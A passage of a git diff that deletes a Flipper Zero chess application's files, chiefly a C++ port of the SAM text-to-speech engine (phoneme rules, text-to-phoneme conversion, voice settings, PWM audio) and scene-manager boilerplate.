Search for punctuation. If found, back up to the first vowel, then - // process all phonemes between there and up to (but not including) the punctuation. - // If any phoneme is found that is a either a fricative or voiced, the duration is - // increased by (length * 1.5) + 1 - - // loop index - X = 0; - unsigned char index; - - // iterate through the phoneme list - unsigned char loopIndex = 0; - while(1) { - // get a phoneme - index = phonemeindex[X]; - - // exit loop if end on buffer token - if(index == 255) break; - - // not punctuation? - if((flags2[index] & 1) == 0) { - // skip - X++; - continue; - } - - // hold index - loopIndex = X; - - // Loop backwards from this point - pos48644: - - // back up one phoneme - X--; - - // stop once the beginning is reached - if(X == 0) break; - - // get the preceding phoneme - index = phonemeindex[X]; - - if(index != 255) //inserted to prevent access overrun - if((flags[index] & 128) == 0) goto pos48644; // if not a vowel, continue looping - - //pos48657: - do { - // test for vowel - index = phonemeindex[X]; - - if(index != 255) //inserted to prevent access overrun - // test for fricative/unvoiced or not voiced - if(((flags2[index] & 32) == 0) || ((flags[index] & 4) != 0)) //nochmal �berpr�fen - { - //A = flags[Y] & 4; - //if(A == 0) goto pos48688; - - // get the phoneme length - A = phonemeLength[X]; - - // change phoneme length to (length * 1.5) + 1 - A = (A >> 1) + A + 1; - - phonemeLength[X] = A; - } - // keep moving forward - X++; - } while(X != loopIndex); - // if (X != loopIndex) goto pos48657; - X++; - } // while - - // Similar to the above routine, but shorten vowels under some circumstances - - // Loop throught all phonemes - loopIndex = 0; - //pos48697 - - while(1) { - // get a phoneme - X = loopIndex; - index = phonemeindex[X]; - - // exit routine at end token - if(index == 255) return; - - // vowel? - A = flags[index] & 128; - if(A != 0) { - // get next phoneme - X++; - index = phonemeindex[X]; - - // get flags - if(index == 255) - mem56 = 65; // use if end marker - else - mem56 = flags[index]; - - // not a consonant - if((flags[index] & 64) == 0) { - // RX or LX? - if((index == 18) || (index == 19)) // 'RX' & 'LX' - { - // get the next phoneme - X++; - index = phonemeindex[X]; - - // next phoneme a consonant? - if((flags[index] & 64) != 0) { - // RULE: RX | LX - - // decrease length of vowel by 1 frame - phonemeLength[loopIndex]--; - } - // move ahead - loopIndex++; - continue; - } - // move ahead - loopIndex++; - continue; - } - - // Got here if not - - // not voiced - if((mem56 & 4) == 0) { - // Unvoiced - // *, .*, ?*, ,*, -*, DX, S*, SH, F*, TH, /H, /X, CH, P*, T*, K*, KX - - // not an unvoiced plosive? - if((mem56 & 1) == 0) { - // move ahead - loopIndex++; - continue; - } - - // P*, T*, K*, KX - - // RULE: - // - - // move back - X--; - - // decrease length by 1/8th - mem56 = phonemeLength[X] >> 3; - phonemeLength[X] -= mem56; - - // move ahead - loopIndex++; - continue; - } - - // RULE: - // - - // decrease length - A = phonemeLength[X - 1]; - phonemeLength[X - 1] = (A >> 2) + A + 1; // 5/4*A + 1 - - // move ahead - loopIndex++; - continue; - } - - // WH, R*, L*, W*, Y*, M*, N*, NX, Q*, Z*, ZH, V*, DH, J*, B*, D*, G*, GX - - //pos48821: - - // RULE: - // Set punctuation length to 6 - // Set stop consonant length to 5 - - // nasal? - if((flags2[index] & 8) != 0) { - // M*, N*, NX, - - // get the next phoneme - X++; - index = phonemeindex[X]; - - // end of buffer? - if(index == 255) - A = 65 & 2; //prevent buffer overflow - else - A = flags[index] & 2; // check for stop consonant - - // is next phoneme a stop consonant? - if(A != 0) - - // B*, D*, G*, GX, P*, T*, K*, KX - - { - // set stop consonant length to 6 - phonemeLength[X] = 6; - - // set nasal length to 5 - phonemeLength[X - 1] = 5; - } - // move to next phoneme - loopIndex++; - continue; - } - - // WH, R*, L*, W*, Y*, Q*, Z*, ZH, V*, DH, J*, B*, D*, G*, GX - - // RULE: {optional silence} - // Shorten both to (length/2 + 1) - - // (voiced) stop consonant? - if((flags[index] & 2) != 0) { - // B*, D*, G*, GX - - // move past silence - do { - // move ahead - X++; - index = phonemeindex[X]; - } while(index == 0); - - // check for end of buffer - if(index == 255) //buffer overflow - { - // ignore, overflow code - if((65 & 2) == 0) { - loopIndex++; - continue; - } - } else if((flags[index] & 2) == 0) { - // if another stop consonant, move ahead - loopIndex++; - continue; - } - - // RULE: {optional silence} - - // X gets overwritten, so hold prior X value for debug statement - // int debugX = X; - // shorten the prior phoneme length to (length/2 + 1) - phonemeLength[X] = (phonemeLength[X] >> 1) + 1; - X = loopIndex; - - // also shorten this phoneme length to (length/2 +1) - phonemeLength[loopIndex] = (phonemeLength[loopIndex] >> 1) + 1; - - // move ahead - loopIndex++; - continue; - } - - // WH, R*, L*, W*, Y*, Q*, Z*, ZH, V*, DH, J*, **, - - // RULE: - // Decrease by 2 - - // liquic consonant? - if((flags2[index] & 16) != 0) { - // R*, L*, W*, Y* - - // get the prior phoneme - index = phonemeindex[X - 1]; - - // prior phoneme a stop consonant> - if((flags[index] & 2) != 0) { - // Rule: - - // decrease the phoneme length by 2 frames (20 ms) - phonemeLength[X] -= 2; - } - } - - // move to next phoneme - loopIndex++; - continue; - } - // goto pos48701; -} - -// ------------------------------------------------------------------------- -// ML : Code47503 is division with remainder, and mem50 gets the sign -void STM32SAM::Code47503(unsigned char mem52) { - Y = 0; - if((mem53 & 128) != 0) { - mem53 = -mem53; - Y = 128; - } - mem50 = Y; - A = 0; - for(X = 8; X > 0; X--) { - int temp = mem53; - mem53 = mem53 << 1; - A = A << 1; - if(temp >= 128) A++; - if(A >= mem52) { - A = A - mem52; - mem53++; - } - } - - mem51 = A; - if((mem50 & 128) != 0) mem53 = -mem53; -} - -//////////////////////////////////////////////////////////////////////////////////////////// -// -// Reciter -// -//////////////////////////////////////////////////////////////////////////////////////////// - -void STM32SAM::Code37055(unsigned char mem59) { - X = mem59; - X--; - A = inputtemp[X]; - Y = A; - A = tab36376[Y]; - return; -} - -void STM32SAM::Code37066(unsigned char mem58) { - X = mem58; - X++; - A = inputtemp[X]; - Y = A; - A = tab36376[Y]; -} - -unsigned char STM32SAM::GetRuleByte(unsigned short mem62, unsigned char Y) { - unsigned int address = mem62; - - if(mem62 >= 37541) { - address -= 37541; - return rules2[address + Y]; - } - address -= 32000; - return rules[address + Y]; -} - -int STM32SAM::TextToPhonemes(unsigned char* input) // Code36484 -{ - //unsigned char *tab39445 = &mem[39445]; //input and output - //unsigned char mem29; - unsigned char mem56; //output position for phonemes - unsigned char mem57; - unsigned char mem58; - unsigned char mem59; - unsigned char mem60; - unsigned char mem61; - unsigned short mem62; // memory position of current rule - - unsigned char mem64; // position of '=' or current character - unsigned char mem65; // position of ')' - unsigned char mem66; // position of '(' - unsigned char mem36653; - - inputtemp[0] = 32; - - // secure copy of input - // because input will be overwritten by phonemes - X = 1; - Y = 0; - do { - //pos36499: - A = input[Y] & 127; - if(A >= 112) - A = A & 95; - else if(A >= 96) - A = A & 79; - - inputtemp[X] = A; - X++; - Y++; - } while(Y != 255); - - X = 255; - inputtemp[X] = 27; - mem61 = 255; - -pos36550: - A = 255; - mem56 = 255; - -pos36554: - while(1) { - mem61++; - X = mem61; - A = inputtemp[X]; - mem64 = A; - if(A == '[') { - mem56++; - X = mem56; - A = 155; - input[X] = 155; - //goto pos36542; - // Code39771(); //Code39777(); - return 1; - } - - //pos36579: - if(A != '.') break; - X++; - Y = inputtemp[X]; - A = tab36376[Y] & 1; - if(A != 0) break; - mem56++; - X = mem56; - A = '.'; - input[X] = '.'; - } //while - - //pos36607: - A = mem64; - Y = A; - A = tab36376[A]; - mem57 = A; - if((A & 2) != 0) { - mem62 = 37541; - goto pos36700; - } - - //pos36630: - A = mem57; - if(A != 0) goto pos36677; - A = 32; - inputtemp[X] = ' '; - mem56++; - X = mem56; - if(X > 120) goto pos36654; - input[X] = A; - goto pos36554; - - // ----- - - //36653 is unknown. Contains position - -pos36654: - input[X] = 155; - A = mem61; - mem36653 = A; - // mem29 = A; // not used - // Code36538(); das ist eigentlich - return 1; - //Code39771(); - //go on if there is more input ??? - mem61 = mem36653; - goto pos36550; - -pos36677: - A = mem57 & 128; - if(A == 0) { - //36683: BRK - return 0; - } - - // go to the right rules for this character. - X = mem64 - 'A'; - mem62 = tab37489[X] | (tab37515[X] << 8); - - // ------------------------------------- - // go to next rule - // ------------------------------------- - -pos36700: - - // find next rule - Y = 0; - do { - mem62 += 1; - A = GetRuleByte(mem62, Y); - } while((A & 128) == 0); - Y++; - - //pos36720: - // find '(' - while(1) { - A = GetRuleByte(mem62, Y); - if(A == '(') break; - Y++; - } - mem66 = Y; - - //pos36732: - // find ')' - do { - Y++; - A = GetRuleByte(mem62, Y); - } while(A != ')'); - mem65 = Y; - - //pos36741: - // find '=' - do { - Y++; - A = GetRuleByte(mem62, Y); - A = A & 127; - } while(A != '='); - mem64 = Y; - - X = mem61; - mem60 = X; - - // compare the string within the bracket - Y = mem66; - Y++; - //pos36759: - while(1) { - mem57 = inputtemp[X]; - A = GetRuleByte(mem62, Y); - if(A != mem57) goto pos36700; - Y++; - if(Y == mem65) break; - X++; - mem60 = X; - } - - // the string in the bracket is correct - - //pos36787: - A = mem61; - mem59 = mem61; - -pos36791: - while(1) { - mem66--; - Y = mem66; - A = GetRuleByte(mem62, Y); - mem57 = A; - //36800: BPL 36805 - if((A & 128) != 0) goto pos37180; - X = A & 127; - A = tab36376[X] & 128; - if(A == 0) break; - X = mem59 - 1; - A = inputtemp[X]; - if(A != mem57) goto pos36700; - mem59 = X; - } - - //pos36833: - A = mem57; - if(A == ' ') goto pos36895; - if(A == '#') goto pos36910; - if(A == '.') goto pos36920; - if(A == '&') goto pos36935; - if(A == '@') goto pos36967; - if(A == '^') goto pos37004; - if(A == '+') goto pos37019; - if(A == ':') goto pos37040; - // Code42041(); //Error - //36894: BRK - return 0; - - // -------------- - -pos36895: - Code37055(mem59); - A = A & 128; - if(A != 0) goto pos36700; -pos36905: - mem59 = X; - goto pos36791; - - // -------------- - -pos36910: - Code37055(mem59); - A = A & 64; - if(A != 0) goto pos36905; - goto pos36700; - - // -------------- - -pos36920: - Code37055(mem59); - A = A & 8; - if(A == 0) goto pos36700; -pos36930: - mem59 = X; - goto pos36791; - - // -------------- - -pos36935: - Code37055(mem59); - A = A & 16; - if(A != 0) goto pos36930; - A = inputtemp[X]; - if(A != 72) goto pos36700; - X--; - A = inputtemp[X]; - if((A == 67) || (A == 83)) goto pos36930; - goto pos36700; - - // -------------- - -pos36967: - Code37055(mem59); - A = A & 4; - if(A != 0) goto pos36930; - A = inputtemp[X]; - if(A != 72) goto pos36700; - if((A != 84) && (A != 67) && (A != 83)) goto pos36700; - mem59 = X; - goto pos36791; - - // -------------- - -pos37004: - Code37055(mem59); - A = A & 32; - if(A == 0) goto pos36700; - -pos37014: - mem59 = X; - goto pos36791; - - // -------------- - -pos37019: - X = mem59; - X--; - A = inputtemp[X]; - if((A == 'E') || (A == 'I') || (A == 'Y')) goto pos37014; - goto pos36700; - // -------------- - -pos37040: - Code37055(mem59); - A = A & 32; - if(A == 0) goto pos36791; - mem59 = X; - goto pos37040; - - //--------------------------------------- - -pos37077: - X = mem58 + 1; - A = inputtemp[X]; - if(A != 'E') goto pos37157; - X++; - Y = inputtemp[X]; - X--; - A = tab36376[Y] & 128; - if(A == 0) goto pos37108; - X++; - A = inputtemp[X]; - if(A != 'R') goto pos37113; -pos37108: - mem58 = X; - goto pos37184; -pos37113: - if((A == 83) || (A == 68)) goto pos37108; // 'S' 'D' - if(A != 76) goto pos37135; // 'L' - X++; - A = inputtemp[X]; - if(A != 89) goto pos36700; - goto pos37108; - -pos37135: - if(A != 70) goto pos36700; - X++; - A = inputtemp[X]; - if(A != 85) goto pos36700; - X++; - A = inputtemp[X]; - if(A == 76) goto pos37108; - goto pos36700; - -pos37157: - if(A != 73) goto pos36700; - X++; - A = inputtemp[X]; - if(A != 78) goto pos36700; - X++; - A = inputtemp[X]; - if(A == 71) goto pos37108; - //pos37177: - goto pos36700; - - // ----------------------------------------- - -pos37180: - - A = mem60; - mem58 = A; - -pos37184: - Y = mem65 + 1; - - //37187: CPY 64 - // if(? != 0) goto pos37194; - if(Y == mem64) goto pos37455; - mem65 = Y; - //37196: LDA (62),y - A = GetRuleByte(mem62, Y); - mem57 = A; - X = A; - A = tab36376[X] & 128; - if(A == 0) goto pos37226; - X = mem58 + 1; - A = inputtemp[X]; - if(A != mem57) goto pos36700; - mem58 = X; - goto pos37184; -pos37226: - A = mem57; - if(A == 32) goto pos37295; // ' ' - if(A == 35) goto pos37310; // '#' - if(A == 46) goto pos37320; // '.' - if(A == 38) goto pos37335; // '&' - if(A == 64) goto pos37367; // '' - if(A == 94) goto pos37404; // '' - if(A == 43) goto pos37419; // '+' - if(A == 58) goto pos37440; // ':' - if(A == 37) goto pos37077; // '%' - //pos37291: - // Code42041(); //Error - //37294: BRK - return 0; - - // -------------- -pos37295: - Code37066(mem58); - A = A & 128; - if(A != 0) goto pos36700; -pos37305: - mem58 = X; - goto pos37184; - - // -------------- - -pos37310: - Code37066(mem58); - A = A & 64; - if(A != 0) goto pos37305; - goto pos36700; - - // -------------- - -pos37320: - Code37066(mem58); - A = A & 8; - if(A == 0) goto pos36700; - -pos37330: - mem58 = X; - goto pos37184; - - // -------------- - -pos37335: - Code37066(mem58); - A = A & 16; - if(A != 0) goto pos37330; - A = inputtemp[X]; - if(A != 72) goto pos36700; - X++; - A = inputtemp[X]; - if((A == 67) || (A == 83)) goto pos37330; - goto pos36700; - - // -------------- - -pos37367: - Code37066(mem58); - A = A & 4; - if(A != 0) goto pos37330; - A = inputtemp[X]; - if(A != 72) goto pos36700; - if((A != 84) && (A != 67) && (A != 83)) goto pos36700; - mem58 = X; - goto pos37184; - - // -------------- - -pos37404: - Code37066(mem58); - A = A & 32; - if(A == 0) goto pos36700; -pos37414: - mem58 = X; - goto pos37184; - - // -------------- - -pos37419: - X = mem58; - X++; - A = inputtemp[X]; - if((A == 69) || (A == 73) || (A == 89)) goto pos37414; - goto pos36700; - - // ---------------------- - -pos37440: - - Code37066(mem58); - A = A & 32; - if(A == 0) goto pos37184; - mem58 = X; - goto pos37440; -pos37455: - Y = mem64; - mem61 = mem60; - -pos37461: - //37461: LDA (62),y - A = GetRuleByte(mem62, Y); - mem57 = A; - A = A & 127; - if(A != '=') { - mem56++; - X = mem56; - input[X] = A; - } - - //37478: BIT 57 - //37480: BPL 37485 //not negative flag - if((mem57 & 128) == 0) goto pos37485; //??? - goto pos36554; -pos37485: - Y++; - goto pos37461; -} - -// Constructor - -STM32SAM::STM32SAM(uint32_t STM32SAM_SPEED /* = 5 */) { - STM32SAM_SPEED = STM32SAM_SPEED & 0x1f; // limit it from 0 to 31 - - _STM32SAM_SPEED = STM32SAM_SPEED; - - // set default voice - - speed = 72; - pitch = 64; - mouth = 128; - throat = 128; - - phonetic = 0; - singmode = 0; - - wait1 = 7; - wait2 = 6; - - mem59 = 0; - - oldtimetableindex = 0; -} - -STM32SAM::STM32SAM() { - _STM32SAM_SPEED = 7; - - // set default voice - - speed = 72; - pitch = 64; - mouth = 128; - throat = 128; - - phonetic = 0; - singmode = 0; - - wait1 = 7; - wait2 = 6; - - mem59 = 0; - - oldtimetableindex = 0; -} - -/* - STM32SAM::~STM32SAM() { - { - // TODO: end(); - } -*/ - -//////////////////////////////////////////////////////////////////////////////////////////// -// -// STM32SAM sam (variable string, phonetic, sing, pitch, speed, mouth, throat) -// STM32SAM say (sing off, phonetic off) (const string) -// STM32SAM say (sing off, phonetic off) (variable string) -// STM32SAM sing (sing on, phonetic off) (const string) -// STM32SAM sing (sing on, phonetic off) (variable string) -// STM32SAM sayPhonetic (sing off, phonetic on) (const string) -// STM32SAM sayPhonetic (sing off, phonetic on) (variable string) -// STM32SAM singPhonetic (sing on, phonetic on) (const string) -// STM32SAM singPhonetic (sing on, phonetic on) (variable string) -// STM32SAM voice (pitch, speed, mouth, throat) -// STM32SAM setPitch (pitch) -// STM32SAM setSpeed (speed) -// STM32SAM setMouth (mouth) -// STM32SAM setThroat (throat) -// -// -//////////////////////////////////////////////////////////////////////////////////////////// - -//////////////////////////////////////////////////////////////////////////////////////////// -// -// STM32SAM sam (const string, phonetic, sing, pitch, speed, mouth, throat) -// -//////////////////////////////////////////////////////////////////////////////////////////// - -char to_upper_case(char c) { - if(c >= 'a' && c <= 'z') { - return c - 'a' + 'A'; - } - return c; -} - -void STM32SAM::sam( - const char* argv, - unsigned char _phonetic, - unsigned char _singmode, - unsigned char _pitch, - unsigned char _speed, - unsigned char _mouth, - unsigned char _throat) { - phonetic = _phonetic; - singmode = _singmode; - pitch = _pitch; - speed = _speed; - mouth = _mouth; - throat = _throat; - - int i; - - for(i = 0; i < 256; i++) { - input[i] = argv[i]; - } - - for(i = 0; input[i] != 0; i++) { - if(i != 0) { - input[i] = to_upper_case((int)argv[i]); - } - } - - if(!phonetic) { - strncat(input, "[", 256); - if(!TextToPhonemes((unsigned char*)input)) { - // PrintUsage(); - return; - } - - } else { - strncat(input, "\x9b", 256); - } - - SetInput(input); - - if(!SAMMain()) { - return; - } -} - -//////////////////////////////////////////////////////////////////////////////////////////// -// -// STM32SAM sam (variable string, phonetic, sing, pitch, speed, mouth, throat) -// -//////////////////////////////////////////////////////////////////////////////////////////// - -void STM32SAM::sam( - char* argv, - unsigned char _phonetic, - unsigned char _singmode, - unsigned char _pitch, - unsigned char _speed, - unsigned char _mouth, - unsigned char _throat) { - phonetic = _phonetic; - singmode = _singmode; - pitch = _pitch; - speed = _speed; - mouth = _mouth; - throat = _throat; - - int i; - - for(i = 0; i < 256; i++) { - input[i] = argv[i]; - } - - for(i = 0; input[i] != 0; i++) { - if(i != 0) { - input[i] = to_upper_case((int)argv[i]); - } - } - - if(i < 256) { - input[i] = phonetic ? '\x9b' : '['; - } - - if(!phonetic) { - if(!TextToPhonemes((unsigned char*)input)) { - return; - } - } - - SetInput(input); - - if(!SAMMain()) { - return; - } -} - -//////////////////////////////////////////////////////////////////////////////////////////// -// -// STM32SAM say(sing off, phonetic off) (const string) -// -//////////////////////////////////////////////////////////////////////////////////////////// - -void STM32SAM::say(const char* argv) { - int i; - - phonetic = 0; - singmode = 0; - - char const_input[256]; - - for(i = 0; i < 256; i++) { - const_input[i] = argv[i]; - } - - sam(const_input, phonetic, singmode, pitch, speed, mouth, throat); -} - -void STM32SAM::say(char* argv) { - int i; - - phonetic = 0; - singmode = 0; - - char const_input[256]; - - for(i = 0; i < 256; i++) { - const_input[i] = argv[i]; - } - - sam(const_input, phonetic, singmode, pitch, speed, mouth, throat); -} - -//////////////////////////////////////////////////////////////////////////////////////////// -// -// STM32SAM sing (sing on, phonetic off) -// -//////////////////////////////////////////////////////////////////////////////////////////// - -void STM32SAM::sing(const char* argv) { - int i; - - phonetic = 0; - singmode = 1; - - char const_input[256]; - - for(i = 0; i < 256; i++) { - const_input[i] = argv[i]; - } - - sam(const_input, phonetic, singmode, pitch, speed, mouth, throat); -} - -void STM32SAM::sing(char* argv) { - int i; - - phonetic = 0; - singmode = 1; - - char const_input[256]; - - for(i = 0; i < 256; i++) { - const_input[i] = argv[i]; - } - - sam(const_input, phonetic, singmode, pitch, speed, mouth, throat); -} - -//////////////////////////////////////////////////////////////////////////////////////////// -// -// STM32SAM sayPhonetic (sing off, phonetic on) -// -//////////////////////////////////////////////////////////////////////////////////////////// - -void STM32SAM::sayPhonetic(const char* argv) { - int i; - - phonetic = 1; - singmode = 0; - - char const_input[256]; - - for(i = 0; i < 256; i++) { - const_input[i] = argv[i]; - } - - sam(const_input, phonetic, singmode, pitch, speed, mouth, throat); -} - -void STM32SAM::sayPhonetic(char* argv) { - int i; - - phonetic = 1; - singmode = 0; - - char const_input[256]; - - for(i = 0; i < 256; i++) { - const_input[i] = argv[i]; - } - - sam(const_input, phonetic, singmode, pitch, speed, mouth, throat); -} - -//////////////////////////////////////////////////////////////////////////////////////////// -// -// STM32SAM singPhonetic (sing on, phonetic on) -// -//////////////////////////////////////////////////////////////////////////////////////////// - -void STM32SAM::singPhonetic(const char* argv) { - int i; - - phonetic = 1; - singmode = 1; - - char const_input[256]; - - for(i = 0; i < 256; i++) { - const_input[i] = argv[i]; - } - - sam(const_input, phonetic, singmode, pitch, speed, mouth, throat); -} - -void STM32SAM::singPhonetic(char* argv) { - int i; - - phonetic = 1; - singmode = 0; - - char const_input[256]; - - for(i = 0; i < 256; i++) { - const_input[i] = argv[i]; - } - - sam(const_input, phonetic, singmode, pitch, speed, mouth, throat); -} - -//////////////////////////////////////////////////////////////////////////////////////////// -// -// STM32SAM voice (pitch, speed, mouth, throat) -// -//////////////////////////////////////////////////////////////////////////////////////////// - -void STM32SAM::setVoice( - unsigned char _pitch /* = 64 */, - unsigned char _speed /* = 72 */, - unsigned char _mouth /* = 128 */, - unsigned char _throat /* = 128 */) { - pitch = _pitch; - speed = _speed; - mouth = _mouth; - throat = _throat; -} - -//////////////////////////////////////////////////////////////////////////////////////////// -// -// STM32SAM setPitch (pitch) -// -//////////////////////////////////////////////////////////////////////////////////////////// - -void STM32SAM::setPitch(unsigned char _pitch /* = 64 */) { - pitch = _pitch; -} -//////////////////////////////////////////////////////////////////////////////////////////// -// -// STM32SAM setSpeed (speed) -// -//////////////////////////////////////////////////////////////////////////////////////////// - -void STM32SAM::setSpeed(unsigned char _speed /* = 72 */) { - speed = _speed; -} -//////////////////////////////////////////////////////////////////////////////////////////// -// -// STM32SAM setMouth (mouth) -// -//////////////////////////////////////////////////////////////////////////////////////////// - -void STM32SAM::setMouth(unsigned char _mouth /* = 128 */) { - mouth = _mouth; -} - -//////////////////////////////////////////////////////////////////////////////////////////// -// -// STM32SAM setThroat (throat) -// -//////////////////////////////////////////////////////////////////////////////////////////// - -void STM32SAM::setThroat(unsigned char _throat /* = 128 */) { - throat = _throat; -} -//////////////////////////////////////////////////////////////////////////////////////////// -// -// Hardware -// -//////////////////////////////////////////////////////////////////////////////////////////// -// Hardware specifics, for easier porting to other microcontrollers - -// -// Set PA8 pin as PWM, at 256 timer ticks overflow (8bit resolution) - -#include -#include - -#define FURI_HAL_SPEAKER_TIMER TIM16 -#define FURI_HAL_SPEAKER_CHANNEL LL_TIM_CHANNEL_CH1 - -void STM32SAM::begin(void) { -#ifdef USE_ROGER_CORE - - pinMode(PA8, PWM); // audio output pin - - Timer1.setPeriod( - 4); // Can't set at 256 ticks, only in uS. First nearest uS is 4 (Roger core is only for bluepill, that means 72*4=288 ticks, or 128*4=512 ticks when overclocked. It's ok, just overall volume will be lower, because maximum volume will be 256/288 or 256/512) - -#endif - -#ifdef USE_STM32duino_CORE - pinMode(PA8, OUTPUT); - - PWM->pause(); - PWM->setMode(1, TIMER_OUTPUT_COMPARE_PWM1, PA8); // TIM1 CH1 (PA8) - PWM->setPrescaleFactor(1); - PWM->setOverflow(256, TICK_FORMAT); // 256 ticks overflow, no matter the CPU (timer) speed - PWM->resume(); - -#endif - - LL_TIM_InitTypeDef TIM_InitStruct; - memset(&TIM_InitStruct, 0, sizeof(LL_TIM_InitTypeDef)); - TIM_InitStruct.Prescaler = 4; - TIM_InitStruct.Autoreload = 255; - LL_TIM_Init(FURI_HAL_SPEAKER_TIMER, &TIM_InitStruct); - - LL_TIM_OC_InitTypeDef TIM_OC_InitStruct; - memset(&TIM_OC_InitStruct, 0, sizeof(LL_TIM_OC_InitTypeDef)); - TIM_OC_InitStruct.OCMode = LL_TIM_OCMODE_PWM1; - TIM_OC_InitStruct.OCState = LL_TIM_OCSTATE_ENABLE; - TIM_OC_InitStruct.CompareValue = 127; - LL_TIM_OC_Init(FURI_HAL_SPEAKER_TIMER, FURI_HAL_SPEAKER_CHANNEL, &TIM_OC_InitStruct); - - LL_TIM_EnableAllOutputs(FURI_HAL_SPEAKER_TIMER); - LL_TIM_EnableCounter(FURI_HAL_SPEAKER_TIMER); -} // begin - -inline void STM32SAM::SetAUDIO(unsigned char main_volume) { -#ifdef USE_ROGER_CORE - Timer1.setCompare(TIMER_CH1, main_volume); -#endif - -#ifdef USE_STM32duino_CORE - PWM->setCaptureCompare(1, main_volume, TICK_COMPARE_FORMAT); -#endif - - // if(main_volume > 64) { - // LL_TIM_OC_SetCompareCH1(FURI_HAL_SPEAKER_TIMER, 127); - // } else { - // LL_TIM_OC_SetCompareCH1(FURI_HAL_SPEAKER_TIMER, main_volume); - // } - - float data = main_volume; - data /= 255.0f; - data -= 0.5f; - data *= 4.0f; - data = tanhf(data); - - data += 0.5f; - data *= 255.0f; - - if(data < 0) { - data = 0; - } else if(data > 255) { - data = 255; - } - - LL_TIM_OC_SetCompareCH1(FURI_HAL_SPEAKER_TIMER, data); -} \ No newline at end of file diff --git a/applications/external/chess/sam/stm32_sam.h b/applications/external/chess/sam/stm32_sam.h deleted file mode 100644 index 910227ac3..000000000 --- a/applications/external/chess/sam/stm32_sam.h +++ /dev/null @@ -1,96 +0,0 @@ -#include - -#ifndef __STM32SAM__ -#define __STM32SAM__ - -// SAM Text-To-Speech (TTS), ported from https://github.com/s-macke/SAM - -class STM32SAM { -public: - STM32SAM(uint32_t STM32SAM_SPEED); - STM32SAM(); - - void begin(void); - - void - sam(const char* argv, - unsigned char phonetic, - unsigned char singmode, - unsigned char pitch, - unsigned char speed, - unsigned char mouth, - unsigned char throat); - void - sam(char* argv, - unsigned char phonetic, - unsigned char singmode, - unsigned char pitch, - unsigned char speed, - unsigned char mouth, - unsigned char throat); - - void say(const char* argv); - void say(char* argv); - void sing(const char* argv); - void sing(char* argv); - void sayPhonetic(const char* argv); - void sayPhonetic(char* argv); - void singPhonetic(const char* argv); - void singPhonetic(char* argv); - void setVoice( - unsigned char _pitch = 64, - unsigned char _speed = 72, - unsigned char _mouth = 128, - unsigned char _throat = 128); - void setPitch(unsigned char _pitch = 64); - void setSpeed(unsigned char _speed = 72); - void setMouth(unsigned char _mouth = 128); - void setThroat(unsigned char _throat = 128); - -private: - void SetAUDIO(unsigned char main_volume); - - void Output8BitAry(int index, unsigned char ary[5]); - void Output8Bit(int index, unsigned char A); - unsigned char Read(unsigned char p, unsigned char Y); - void Write(unsigned char p, unsigned char Y, unsigned char value); - void RenderSample(unsigned char* mem66); - void Render(); - void AddInflection(unsigned char mem48, unsigned char phase1); - void SetMouthThroat(); - unsigned char trans(unsigned char mem39212, unsigned char mem39213); - void SetInput(char* _input); - void Init(); - int SAMMain(); - void PrepareOutput(); - void Insert( - unsigned char position /*var57*/, - unsigned char mem60, - unsigned char mem59, - unsigned char mem58); - void InsertBreath(); - void CopyStress(); - int Parser1(); - void SetPhonemeLength(); - void Code41240(); - void Parser2(); - void AdjustLengths(); - void Code47503(unsigned char mem52); - void Code37055(unsigned char mem59); - void Code37066(unsigned char mem58); - unsigned char GetRuleByte(unsigned short mem62, unsigned char Y); - int TextToPhonemes(unsigned char* input); // Code36484 - - uint32_t _STM32SAM_SPEED; - - unsigned char speed; - unsigned char pitch; - unsigned char mouth; - unsigned char throat; - - unsigned char phonetic; - unsigned char singmode; - -}; // STM32SAM class - -#endif \ No newline at end of file diff --git a/applications/external/chess/scenes/flipchess_scene.c b/applications/external/chess/scenes/flipchess_scene.c deleted file mode 100644 index 767afbeb2..000000000 --- a/applications/external/chess/scenes/flipchess_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "flipchess_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const flipchess_on_enter_handlers[])(void*) = { -#include "flipchess_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const flipchess_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "flipchess_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const flipchess_on_exit_handlers[])(void* context) = { -#include "flipchess_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers flipchess_scene_handlers = { - .on_enter_handlers = flipchess_on_enter_handlers, - .on_event_handlers = flipchess_on_event_handlers, - .on_exit_handlers = flipchess_on_exit_handlers, - .scene_num = FlipChessSceneNum, -}; diff --git a/applications/external/chess/scenes/flipchess_scene.h b/applications/external/chess/scenes/flipchess_scene.h deleted file mode 100644 index c9912727d..000000000 --- a/applications/external/chess/scenes/flipchess_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) FlipChessScene##id, -typedef enum { -#include "flipchess_scene_config.h" - FlipChessSceneNum, -} FlipChessScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers flipchess_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "flipchess_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "flipchess_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "flipchess_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/chess/scenes/flipchess_scene_config.h b/applications/external/chess/scenes/flipchess_scene_config.h deleted file mode 100644 index a1cc0d51d..000000000 --- a/applications/external/chess/scenes/flipchess_scene_config.h +++ /dev/null @@ -1,4 +0,0 @@ -ADD_SCENE(flipchess, startscreen, Startscreen) -ADD_SCENE(flipchess, menu, Menu) -ADD_SCENE(flipchess, scene_1, Scene_1) -ADD_SCENE(flipchess, settings, Settings) \ No newline at end of file diff --git a/applications/external/chess/scenes/flipchess_scene_menu.c b/applications/external/chess/scenes/flipchess_scene_menu.c deleted file mode 100644 index 448bfc62e..000000000 --- 